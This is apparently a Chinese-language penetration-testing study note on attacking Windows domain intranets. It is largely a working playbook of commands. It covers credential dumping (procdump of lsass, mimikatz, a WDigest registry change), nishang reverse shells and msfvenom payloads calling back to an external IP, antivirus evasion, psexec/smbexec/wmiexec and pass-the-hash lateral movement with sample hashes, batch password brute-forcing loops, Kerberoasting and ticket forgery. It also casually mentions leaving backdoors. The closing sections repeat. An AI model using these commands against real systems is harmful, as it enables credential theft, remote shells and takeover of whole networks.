内网安全
文章目录
- 内网安全
-
- 概念认知
-
- 名词
- 认知
- 信息收集
- 后续探针
- 权限提升
- 横向渗透
-
- 概况
- 局域网
- 域环境
- 权限维持
- 相关详情
-
- 与信息收集有关
- 探针相关
-
- **概况**
- **nishang**
- 横向渗透
-
- IPC [at] & [schtasks]
- procdump mimikatz
- SMB psexec&smbexec
- WMI wmic&cscript&wmiexec
- PTH&PTK&PTT
- CobaltStrike&SPN&RDP
- 横向内网漫游Socks代理隧道技术
- 域横向网络&传输&应用层隧道技术
- 内网安全-域横向CS&MSF联动
- 域横向网络&传输&应用层隧道技术
- 内网安全-域横向CS&MSF联动
概念认知
名词
局域网
工作组
工作组(Work Group)是局域网的概念。它是最常见、最简单、最常见的资源管理模式,即根据功能将不同的计算机纳入不同的组,以便于管理。 在局域网中,如果您想访问工作组的资源,请在在线邻居中找到工作组的名称,双击查看工作组的计算机。 共享用户可以同时属于多个组。用户对某一资源的权限等于每组的权限之和。但是,如果一个组禁止某一资源的权限,用户将不得访问该资源,因为禁止是优先事项。其他组或其他组成员也可以包含在一个组中。 计算机在工作组中的地位是平等的。每台计算机都独立维护自己的资源,无需集中管理网络资源。
域环境 活动目录AD 域控制器DC
https://blog.51cto.com/terryli/141686 域是在逻辑上集中管理多台计算机,在域控制器上创建组。 域是组织和存储资源的核心管理单元,域的核心是域控制器,域控制器的核心是活动目录,本质上相当于数据库。 域内所有计算机共享集中目录数据库(又称活动目录数据库),包括整个域内的对象(用户账户、计算机账户、打印机、共享文件等)和安全信息,活动目录负责添加、修改、更新和删除目录数据库。所以我们必须在那里Windows Server 实现2003年的域环境,其实就是安装活动目录。活动目录为我们实现了目录服务,提供对企业网络环境的集中式管理。比如前面的例子,在域环境中,只需要在活动目录中创建一次Bob账户可以登录任何200台电脑中的一台Bob,如果要为Bob账户更改密码,只需在活动目录中更改一次即可。 域控制器(Domain Controller)是存储活动目录的地方,即存储在域控制器中的活动目录。安装活动目录的计算机称为域控制器 当一个域控制器的活动目录数据库发生变化时,这些变化的数据将被复制到其他域控制器的活动目录数据库中。 站点(Site)一般对应地理位置。它由一个或多个物理子网组成。创建网站的目的是优化DC复制之间。活动目录允许一个网站有多个域,一个域也可以属于多个网站。
单域 父域、子域 域树,域森林
域用户,本地用户 https://blog.csdn.net/zhwei_wen/article/details/2157088
当地用户账户作为登录账户,涉及使用域内其他计算机资源时,身份验证不容易。远程计算机可能需要实现账户信息的存储和验证过程。一旦账户信息发生变化,多台远程计算机的相应信息也应发生变化,增加费用;域用户账户解决了这个问题,身份验证交给域控,因为域控可以管理域内计算机资源和域用户账户信息。 相当于开辟用户区,统一管理
域的搭建:https://blog.csdn.net/wwl012345/article/details/88934571
认知
linux域渗透问题
局域网技术的应用
内网安全的流程问题
信息收集
版本 补丁 服务 任务 防护 进程 服务…
开放端口 网络环境 出口代理 DNS
域用户 本地用户 用户权限 对应组信息
明文 hash 各种主机协议和服务密码
后续探针
完成信息收集,根据目标状态制定探针,深入探索信息
存活主机
域控制器
网络架构
服务接口
权限提升
暂无
横向渗透
概况
https://www.cnblogs.com/-chenxs/p/12318448.html
横向渗透是在占领部分内网主机的前提下,利用现有资源试图获得更多 更多的凭证,更高的权限,然后控制整个内网,拥有最高的权限,启动 APT (高级持续威胁攻击)的目的。
注意问题:
- 内网防火墙和杀毒软件:内网可以有防火墙和流量监控,杀毒软件是很多服务器的标准(360也算)。这些安全措施在攻击时不能完全忽视,否则很容易触发警报。
- 与管理员同行:是的,与管理员同行既是机遇,也是风险。最常见的情节是手抖踢管理员的远程桌面连接,或者渗透工具仍然打开,远程桌面会话被管理员抢劫。我遇到过很多次狗血的情节管理员后来更改了密码。幸运的是,他留下了后门来获得权限,并掌握了新的密码(收获)。
- 蜜罐:蜜罐不一定要套出你的东西,只要感知你的存在,就能治愈你。
常见的姿势可分为数据挖掘、后门和攻击三类,其风险逐步增加。
注意主机上保存的凭证等信息
- 其他主机的凭证
- 权限较高的凭证
- 可用的凭证
- 有用的资料和文档
主要是在已占用的主机上安装一些自己的程序,以达到保有扩展的目的
有很多方法,各种后门,无论是正的还是反的,我通常使用它们cs也可以使用后门meterpreter后门程序也可以绑定到应用程序上。键盘记录器。
arp,系统漏扫、反渗透、撞库、社工
局域网
域环境
at&schtasks
psexec&smbexec
wmic&wmiexec
PTH&PTT&PTK
winrs&winrm&rdp
CVE-2014-6324
CVE-2017-17010
CVE-2020-142
权限维持
暂无
相关详情
信息收集相关
服务器计算机基本信息
systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务
网络接口信息
ipconfig /all 判断存在域-dns
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址;Cname链式手动解析
nslookup(https://blog.csdn.net/fageweiketang/article/details/82970625?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-1.pc_relevant_aa&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-1.pc_relevant_aa&utm_relevant_index=1)
域环境下的用户及用户组信息
系统默认常见用户身份概念:
Domain Admins:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客,权限低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
相关用户收集操作命令:
whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器
各种密文,明文,口令等
mimikatz(win),mimipenguin(linux) 计算机用户HASH,明文获取,但是需要足够大的权限。
LaZagne(all),XenArmor(win) 计算机各种协议服务口令获取
1.站点源码备份文件、数据库备份文件等
2.各类数据库Web 管理入口,如PHPMyAdmin
3.浏览器保存密码、浏览器Cookies
4.其他用户会话、3389 和ipc$连接记录、回收站内容
5.Windows保存的WIFI 密码
Netsh WLAN show profiles
Netsh WLAN show profile name="无线名称" key=clear
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等
探针相关
探针域控制器名及地址信息
net time /domain
nsllokup
ping
探针域内存活主机及地址信息
nbtscan 192.168.3.0/24 第三方工具
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL =" 自带内部命令
nmap、masscan 第三方工具
nishang、empire等 powershell脚本
探针域内主机角色及服务信息;利用开放端口服务及计算机名判断核心业务机器:
>高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
>产品管理系统服务器
>办公系统服务器
>财务应用系统服务器
>核心产品源码服务器(自建SVN、GIT)
>数据库服务器
>文件或网盘服务器、共享服务器
>电子邮件服务器
>网络监控系统服务器
>其他服务器(内部技术文档服务器、其他监控服务器等)
Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段。Nishang是基于PowerShell的渗透测试专用工具,它集成了脚本和各种payload,比如抓取密码、端口扫描、提权等。
参考:https://www.freebuf.com/column/211093.html
环境准备
Powershell在首次导入模块的时候是不允许的,因为默认的策略是不允许的,这时候我们需要将执行策略改为允许的,就是所谓的remotesigned。 我们查询一下当前的执行策略是什么,Restricted是不被允许执行任何脚本的,即使你是管理员权限。 执行Get-ExecutionPolicy命令来查看默认的策略组 我们需要修改权限,执行命令: Set-ExecutionPolicy remotesigned,我们再次查询当前的执行策略的时候就是remotesigned可被允许的,再次导入脚本就会成功,出现的警告提示不用理会。
信息收集
执行查看导入的模块中的脚本信息:Get-Command -Module nishang 列出本机的信息: Get-Information 检查是否为虚拟机: Check-VM 查看主机信息: Get-Host
nishang里面也集成了抓取密码的脚本 先抓取一下hash值: #Get-PassHashes //简单直接的抓取,并显示在dos界面; #powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherGet-PassHashes.ps1';Get-PassHashes -PSObjectFormat | Out-File hash.txt}" //获取hash值并保存在自定义的文档中。 抓取明文: #powershell –exec bypass –Command "& {Import-Module 'C:nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}" 尝试直接抓取当前系统用户的明文密码。(最常用的命令)
查杀绕过,包括连接查杀,后门查杀
在渗透测试中我们在做端口转发的时候遇到一系列的查杀全家桶,nc\lcx\sockes代理等时不时的被杀软截胡。那么这个时候我们可以利用nishang中的端口转发脚本进行。 1、TCP端口转发(反向连接) 公网服务器上面执行监听命令:nc -lvp 5555 目标主机执行端口转发命令: Invoke-PowerShellTcp -Reverse -IPAddress 106.xxx.xxx.115 -Port 5555 2、UDP端口转发(反向连接) 公网服务器上面执行监听命令:nc -lup 6666 目标主机执行端口转发命令: Invoke-PowerShellUdp -Reverse -IPAddress 106.xxx.xxx.115 -Port 6666 3、利用powershell与MSF进行端口转发 ##msfvenom -l payloads |grep ‘reverse_powershell //查询powershell模块的位置。 ##msfvenom -p cmd/windows/reverse_powershell lhost=106.xxx.xxx.115 lport=9999 r //生成payload,类型是Powershell 在目标主机上面执行刚才生成的一条powershell命令,在公网服务器监听9999端口。 利用混淆处理绕过Windows Defender,因为我们在生成的普通的有效载荷会被Windows Defender进行查杀,导致执行失败。 混淆处理工具:Daniel Bohannon提供的Invoke-Obfuscation
Invoke-PortScan -StartAddress 192.168.3.0 -EndAddress 192.168.3.100 -ResolveHost -ScanPort //端口扫描(查看目录对应文件有演示语法,其他同理)
#其他功能:都在脚本文件里。
横向渗透
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令
IPC+[at] & [schtasks]
https://blog.51cto.com/levelive/5851
1. 建立IPC链接到目标主机 2. 拷贝要执行的命令脚本到目标主机 3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本 4. 删除IPC链接 net use \\server\ipc$ "password" /user:"username" # 工作组 net use \\server\ipc$ "password" /user:"domain\username" #域内 dir \\xx.xx.xx.xx\C$\ # 查看文件列表 copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件 copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件 net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC net view xx.xx.xx.xx # 查看对方共享
#建立IPC 常见的错误代码 (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 (2)51:网络问题,Windows 无法找到网络路径 (3)53:找不到网络路径,可能是IP 地址错误、目标未开机、目标Lanmanserver 服务未启动、有防火墙等问题 (4)67:找不到网络名,本地Lanmanworkstation 服务未启动,目标删除ipc$ (5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除 (6)1326:账号密码错误 (7)1792:目标NetLogon 服务未启动,连接域控常常会出现此情况 (8)2242:用户密码过期,目标有账号策略,强制定期更改密码 #建立IPC 失败的原因 (1)目标系统不是NT 或以上的操作系统 (2)对方没有打开IPC$共享 (3)对方未开启139、445 端口,或者被防火墙屏蔽 (4)输出命令、账号密码有错误
[at] & [schtasks]
#at < Windows2012 net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\ad ministrator # 建立ipc 连接: copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器 at \\192.168.3.21 15:47 c:\add.bat #添加计划任务 #schtasks >=Windows2012 net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\ad ministrator # 建立ipc 连接: copy add.bat \\192.168.3.32\c$ #复制文件到其C 盘 schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser 任务对应执行文件 schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser 任务 schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser 任务
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami" atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami" atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版 FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应IP回显版 FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami # 批量检测HASH对应IP回显版
procdump+mimikatz
实现获取明文密码
首先得先获取到内存文件lsass.exe进程, 它用于本地安全和登陆策略,一般在进程管理器中能看到;
1.导出lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp #procdump //不太强大,唯一的好处就是免杀的,微软官方的产品 #(注:必须使用管理员权限)包含账号密码信息的lsass.dmp 文件 出现问题: #win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,可以通过修改注册表的方式抓取明文。 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f #改注册表 rundll32 user32.dll,LockWorkStation #强制
锁屏 #等待目标系统管理员重新登录 #截取明文密码 reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f #关闭Wdigest Auth服务
2.执行mimikatz
mimikatz.exe ``"sekurlsa::minidump lsass.dmp"` `"sekurlsa::logonPasswords full"` `exit #(注:必须使用管理员权限) #LM:2008之前用的密码传递方式 NTLM:2008之后采用的密码传递方式,里面的值就是哈希值
3.或使用hashcat解密
https://www.freebuf.com/sectool/164507.html
SMB+psexec&smbexec
#利用SMB服务需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。 #在psexec中由于其利用条件和监控严格后,逐渐开始使用WMI进行攻击。WMI可以描述为管理Windows系统的方法和功能。我们可以把它当作API来与Win系统进行相互交流。WMI在渗透测试中的价值在于它不需要下载和安装,WMI是Windows系统自带功能。而且整个运行过程都在计算机内存中发生,不会留下任何痕迹。
psexec是sysinternals的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下
原理入门:ipc$连接(SMB连接);写入部分exe程序(创建psexesvc服务);调用svcctl协议,打开psexesvc服务;创建管道;
前提条件: 有明文或密文hash账户信息以建立相关连接
两种连接方式: 先有ipc连接,然后执行psexec命令; 直接提供账户密码的明文或密文,可以不用建立ipc连接(?可能建立了其他smb连接?);
两种使用方式(均可在目标任务管理器可看到成功执行): 以系统身份运行指定应用程序;创建/执行远程命令代码。
示例:
----------##ð## 在对方电脑上运行程序----------------------------------------- psexec \\192.168.100.2 -u administrator -p 123456 -d -s calc #运行calc后 -d返回到本机命令行,对方计算机上会有一个calc进程,-s是以系统身份运行的。窗口对方是看不到的,如果需要对方看到这个窗口,需要加参数 -i(实验中还是没显示窗口)。 psexec \\192.168.100.2 -u administrator -p 123456 -d calc #承上,就以当前身份运行calc,-d返回 ----------##ð## 在对方电脑上运行cmd命令,同上--------------------------------- psexec \\192.168.3.21 -u administrator -p password -s cmd # -s 指定以System权限运行 #这个命令执行成功之后,命令提示符窗口在我这边,相当于远端应用程序虚拟化到本地。 psexec \\192.168.100.2 -u administrator -p 123456 -i -d cmd /c start http://www.baidu.com #为对方以当前用户身份打开百度网页,-i让他看到这个网页(实验中还是看不到) psexec.exe -hashes :$HASH$ ./administrator@10.1.2.3 psexec -hashes :$HASH$ domain/administrator@10.1.2.3 psexec -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 #提供密文的连接(?未实验)
出现问题1:Psexec 远程执行文件提示 “拒绝访问”
1、首先确认目标组策略是否配置正确 运行-secpol.msc-本地策略-安全选项-网络访问:本地账户的共享和安全模型 修改此项为经典 然后刷新组策略使之生效 运行-cmd-gpupdate 现在可以试下是否还出现拒绝访问的问题 如果还出现拒绝访问,进行第二步 2、打开目标admin$的网络访问权限 运行-cmd-net share admin$ 然后再运行一遍 net share admin$ 查看admin$的共享属性 权限显示为 READ,需要更改为FULL完全控制模式 详见:https://blog.51cto.com/babyfenei/1741291 3、目标用户权限不足,必需以administrator登陆,带有administrator权限的普通用户好像也不行
出现问题2:Psexec 远程执行文件提示 “账户被禁用”
有的windows禁用了administrator账户,会显示“账户被禁用”
# smbexec:无需先ipc链接 明文或hash传递 非官方自带,容易被杀 smbexec god/administrator:Admin12345@192.168.3.21 smbexec ./administrator:admin!@#45@192.168.3.32 smbexec -hashes :$HASH$ ./admin@192.168.3.21 smbbexec -hashes :$HASH$ domain/admin@192.168.3.21 smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
WMI+wmic&cscript&wmiexec
WMI是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。
大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。 整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。 随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。 最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。
windows自带 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt" //写入命令到192.168.3.21 wmic /node:ip /user:用户名 /password:密码 PROCESS call create "calc.exe" //打开一个计算器
windows自带 明文传递 有回显 //需要下载个wmiexec.vbs
#https://blog.csdn.net/qq_27446553/article/details/46008473 #获取半交互式shell cscript.exe //nologo wmiexec.vbs /shell 192.168.0.1 username password #在远程系统上执行单条命令 cscript.exe wmiexec.vbs /cmd 192.168.0.1 username password “cmdkey /list” #在远程系统上执行bat脚本 cscript.exe wmiexec.vbs /cmd 192.168.0.1 username password c:\programdata\test.bat
#py版本 #exe版本 wmiexec ./administrator:Admin12345@192.168.3.21 "whoami" wmiexec -hashes :$HASH$ ./admin@192.168.3.21 "whoami" wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
批量测试内网主机用户密码
FOR /F %%i in (ips.txt) do wmiexec.exe -hashes :HASH ./administrator@%%i whoami #利用hash验证主机列表ips.txt atexec.exe换成wmiexec.exe FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76 whoami #指定主机进行用户hash列表(hashes.txt)爆破 FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%i@192.168.3.76 whoami #指定主机进行明文密码列表(passwords.txt)爆破 FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami # 利用明文密码验证主机列表ips.txt
PTH&PTK&PTT
认证原理参考:windows域环境下认证和攻击初识
PAC原理:Windows内网协议学习Kerberos篇之PAC
方法参考:内网渗透之PTH&PTT&PTK
其他:Windows Hash传递攻击的本质、缓解及绕过
传递(不太推荐,需要得到管理员口令hash)
利用NTLM认证
获取hash,传递到目标,尝试连接
PTH传递(不太推荐) 弹出一个窗口 #适用范围: 域/工作组环境 内网中存在和当前机器相同的密码 #mimikatz.exe上执行: privilege::debug sekurlsa::pth /user:administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7 #可以远程访问 #测试net use \\192.168.3.21\c$ dir \\OWA2010CN-God.god.org\c$
还是使用的mimikatz工具,不过需免杀
获取用户的aes key: mimikatz "privilege::debug" "sekurlsa::ekeys" 注入aes key: mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288" 成功注入aes256,尝试远程连接: 如果拒绝访问的话尝试安装kb2871997补丁
利用Kerberos协议认证
三种常见的攻击方法:MS16-068,Golden ticket,SILVER ticket
MS16-068 原理及利用:Windows内网协议学习Kerberos篇之PAC
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。 1. 在请求AS时,将require_PAC设置成False。 2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。 3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
Golden ticket(黄金票据)
Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。 那么如果获取到了krbtgt的密码hash值,是不是就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
伪造黄金凭据需要具备下面条件: krbtgt用户的hash(就意味着你已经有域控制器权限了) 域名称 域的SID值 要伪造的用户名
SILVER ticket(白银票据)
白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把机器的ntlmhash(某个服务hash) dump下来,然后在普通域用户机器进行伪造权限制作TGS服务票据
CobaltStrike&SPN&RDP
参考:04.内网安全-域横向CobaltStrike&SPN&RDP
参考:
kerberos中的spn详解
服务主体名称 适用于 Windows 的 Kerberos 技术补充 什么是 SPN,您为什么要关心?
SPN服务主体名称发现详解
Kerberoast攻击的另一种姿势
服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。 SPN作用之一: 部分服务票证使用了目标服务实例的NTLM哈希进行加密。那么KDC如何确定在加密这些服务票证时使用什么密钥? 使用服务主体名称(SPN)来确定使用哪个服务帐户的哈希来加密服务票证 猜测:每种服务类可以创建多个服务实例,每个服务实例都会有一个用户账户;KDC有必要为每个用户账户分配SPN以进行区分,每个用户账户有各自某种HASH密钥,用于加密TGS票证ST。 SQL Server中的每个服务代表一个进程或一组进程,为了能让SQL Server服务在操作系统中正常的启动和运行,就需要指定SQL Server的服务帐户。所以服务帐户指的是Windows操作系统中的帐户。 SQL Server 2008中服务帐户类型分为不具有 Windows 管理员权限的“内置系统帐户”和“域用户帐户”,“内置系统帐户”又细分成三类“本地系统帐户”、“网络服务帐户”以及“本地服务帐户”。 //来自:http://blog.sina.com.cn/s/blog_6c60678b0101cn61.html
SPN格式: SPN = serviceclass “/” hostname [“:”port] [“/” servicename] 其中: serviceclass:标识服务类的字符串,例如Web服务的www hostname:一个字符串,是系统的名称。这应该是全限定域名(FQDN)。 port:一个数字,是该服务的端口号。 servicename:一个字符串,它是服务的专有名称(DN),objectGuid,Internet主机名或全限定域名(FQDN)。 注意: 服务类和主机是必需参数,但端口和服务名是可选的,主机和端口之间的冒号只有当端口存在时才需要
:
SPN扫描 请求服务票据 导出服务票据 破解服务票据 重写服务票据
:
MSSQL WSMAN Exchange TERMSERV Hyper-V Host
:
mimikatz只能列出登录用户的本地票据吗?有没有可能列出登陆过的所有用户的票据? 猜测:票据存于内存,切换用户后,内存票据信息也会抹除,所以无法获取其他用户票据。就这一点可以看出,用户的票据只有在登陆之后才能请求到。
#导出 mimikatz.exe "kerberos::list /export" #破解 python tgsrepcrack.py password.txt xxxx.kirbi python .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi #重写 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512 #将生成的票据注入内存 mimikatz.exe kerberos::ptt xxxx.kirbi 工具下载地址:https://github.com/nidem/kerberoast
域横向内网漫游Socks代理隧道技术
参考:06.域横向内网漫游Socks代理隧道技术
解决问题:内网有外网 内网有过滤 内网无外网
代理方向:正向 反向
代理工具:nps frp ngrok reGeorg socjscap64 earthworm proxifier proxychains
实验过程:
搜索目标 利用WEB漏洞 获取webshell权限 生成后门 接收反弹 信息收集以及配置访问 利用本地代理接口访问测试
域横向网络&传输&应用层隧道技术
参考:07.域横向网络&传输&应用层隧道技术
解决问题:防火墙过滤问题 网络连接通信问题 数据回链封装问题
使用工具:lcx netcat dns3tcp pingtunnel
使用协议:ipv6,icmp,GRE TCP,UDP,端口转发 SSH,HTTP,HTTPS,DNS
代理和隧道技术区别? 代理是为了解决网络访问问题。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。 比如: CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。 什么是隧道呢? 这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。 隧道技术为了解决什么? 在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截 常用的隧道技术: 网络层:IPV6隧道、ICMP隧道 传输层:TCP隧道、UDP隧道、常规端口转发 应用层:SSH隧道、HTTP/S隧道、DNS隧道
内网安全-域横向CS&MSF联动
参考:08.内网安全-域横向CS&MSF联动
代理接口访问测试
域横向网络&传输&应用层隧道技术
参考:07.域横向网络&传输&应用层隧道技术
解决问题:防火墙过滤问题 网络连接通信问题 数据回链封装问题
使用工具:lcx netcat dns3tcp pingtunnel
使用协议:ipv6,icmp,GRE TCP,UDP,端口转发 SSH,HTTP,HTTPS,DNS
代理和隧道技术区别? 代理是为了解决网络访问问题。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。 比如: CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。 什么是隧道呢? 这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。 隧道技术为了解决什么? 在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截 常用的隧道技术: 网络层:IPV6隧道、ICMP隧道 传输层:TCP隧道、UDP隧道、常规端口转发 应用层:SSH隧道、HTTP/S隧道、DNS隧道
内网安全-域横向CS&MSF联动
参考:08.内网安全-域横向CS&MSF联动